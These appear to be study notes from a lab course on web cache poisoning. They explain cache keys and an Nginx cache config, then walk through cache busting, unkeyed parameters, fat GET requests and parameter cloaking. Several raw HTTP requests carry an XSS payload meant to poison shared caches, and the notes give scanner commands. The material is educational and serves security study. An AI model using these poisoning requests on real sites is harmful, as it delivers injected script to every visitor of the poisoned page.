Overview#
Web cache is a way to save response from server, so when a user request the same resource, it can just serve the same response again without having to bother the server again. Web cache use certain parameters in the request to determine if it should serve the same response or fetching new one. These are called Cache Key
Cache Keys can be parameters like these, including but not limited to:
Host:header- Scheme like
http://orhttps:// - Paths like
GET /admin - Parameters like
GET /page?language=en
What is in cache keys is called keyed parameters, what not is called unkeyed
This is how a web cache config looks like in Nginx
http {
proxy_cache_path /cache levels=1:2 keys_zone=STATIC:10m inactive=24h max_size=1g;
server {
listen 80;
location / {
proxy_pass http://172.17.0.1:80;
proxy_buffering on;
proxy_cache STATIC;
proxy_cache_valid 2m;
proxy_cache_key $scheme$proxy_host$uri$args;
add_header X-Cache-Status $upstream_cache_status;
}
}
}Here is a short explanation of the parameters. For a more detailed overview, have a look at the Nginx documentation here:
proxy_cache_pathsets general parameters of the cache, like the storage locationproxy_passsets the location of the web server to request resourceproxy_bufferingenables cachingproxy_cachesets the name of the cache (as defined inproxy_cache_path)proxy_cache_validsets the time after which the cache expiresproxy_cache_keydefines the cache keyadd_headeradds theX-Cache-Statusheader to responses to indicate whether the response was cached
We can also set the cache key to specific GET parameter like this. With this, http://server.com/?language=en and http://server.com/?language=en¶m2=2 serves the same response.
proxy_cache_key $scheme$proxy_host$uri$arg_language;Attacks#
Most of attacks are basically XSS. But we still have to find an actual XSS vulnerability in the webapp, then poison the cache.
The hard part of finding XSS in with web cache is most of the time we are served a cached response, due to the large number of users. We can try these HTTP header to force hitting the webapp, even if there is a cached response. Most web cache respects this.
Cache-Control: no-cachePragma: no-cacheThis one is deprecated, but we can still try
Still, those are just for testing purposes. When we want to actually poison the cache, we still have to determine the right timing when the cache expire, then send our payload to renew the cache that serves our payload.
Another way we can do this is cache busting. We need to find a parameter that no one would input invalid values like ?language=
GET /index.php?language=invalidValue&ref=something HTTP/1.1And we test XSS on other parameters. Each time we test, we have to change the value in ?language= parameter to always hit the webapp, not the cache server
Tools#
Install if on kali
sudo apt install web-cache-vulnerability-scannerOtherwise, use go
go install -v github.com/Hackmanit/Web-Cache-Vulnerability-Scanner@latestWe can run the tool like this. -gr to generate report:
wcvs -u http://simple.wcp.htb/ -sp language=en -grThe tool can also help us identify more advanced web cache poisoning vulnerabilities that require the exploitation of fat GET requests or parameter cloaking
Find Unkeyed Parameters#
After finding a vulnerability like XSS, we can try to see if the parameter is unkeyed.
So we send this
GET /index.php?language=en&ref=something HTTP/1.1The cache server response with a MISS, meaning that this response was never cached before
HTTP/1.1 200 OK
X-Cache-Status: MISSWe send the same thing again, to see if it is actually cached, and it is
HTTP/1.1 200 OK
X-Cache-Status: HITThen we send the same thing with different value in the ref parameter like this
GET /index.php?language=en&ref=abc HTTP/1.1And the cache server response with a HIT, indicating that this response is cached, meaning that no matter what the ref= GET parameter is, it will serve the same cache
HTTP/1.1 200 OK
X-Cache-Status: HITNow we can exploit it by timing the right moment when the cache expired, we immediately poison the cache
GET /index.php?language=en&ref="><script>alert(1)</script> HTTP/1.1And now whenever someone access /index.php?language=en, it will be served a cached page that contains our XSS payload.
Fat GET#
I’m sorry GET. You’re not that fat
According to RFC 7231, GET request can have a body, but it won’t have any effect, so these request are semantically equivalent:
GET /index.php?param1=Hello¶m2=World HTTP/1.1
Host: fatget.wcp.htbAnd this
GET /index.php?param1=Hello¶m2=World HTTP/1.1
Host: fatget.wcp.htb
Content-Length: 10
param3=123But depends on the web server config (not the webapp), It will have an effect, which can lead to cache poisoning attack vectors that would otherwise be unexploitable.
Lets take a look. We sent this request, with language GET parameter both on the URL and body, but different value. We got a page in German.
GET /index.php?language=en HTTP/1.1
Host: fatget.wcp.htb
Content-Length: 11
language=deNow we need to see if there is a discrepancy between the web cache and the webapp. We send the same request but no body, but we still get a page in German
GET /index.php?language=en HTTP/1.1
Host: fatget.wcp.htbThat means there is a discrepancy. We can exploit this by using a keyed parameter that is vulnerable to XSS.
GET /index.php?language=en HTTP/1.1
Host: fatget.wcp.htb
ref="><script>alert(1)</script>Parameter Cloaking#
Some web server, like Python web framework Bottle allows a semicolon (or other special characters) to separate different URL parameters. For example, GET request to /test?a=1;b=2 means a=1 and b=2 for bottle, but the web cache might interprets a as 1;b=2
The vulnerability was disclosed under CVE-2020-28473
Now, let’s create a discrepancy between the web cache and the web server. We send a request like this. a is an non-functional and unkeyed parameter. We got a German page
GET /?language=en&a=b;language=de HTTP/1.1
Host: cloak.wcp.htbNow let’s do that again but only with ?language=en. We still get a German page. There is a discrepancy between the web cache and the webapp.
The web cache sees language=en and a=b;language=de parameters.
But the web server sees language=en, a=b and language=de
GET /?language=en HTTP/1.1
Host: cloak.wcp.htbSame rodeo, we exploit XSS and spread it to everyone
GET /?language=de&a=b;ref="><script>alert(1)</script> HTTP/1.1
Host: cloak.wcp.htb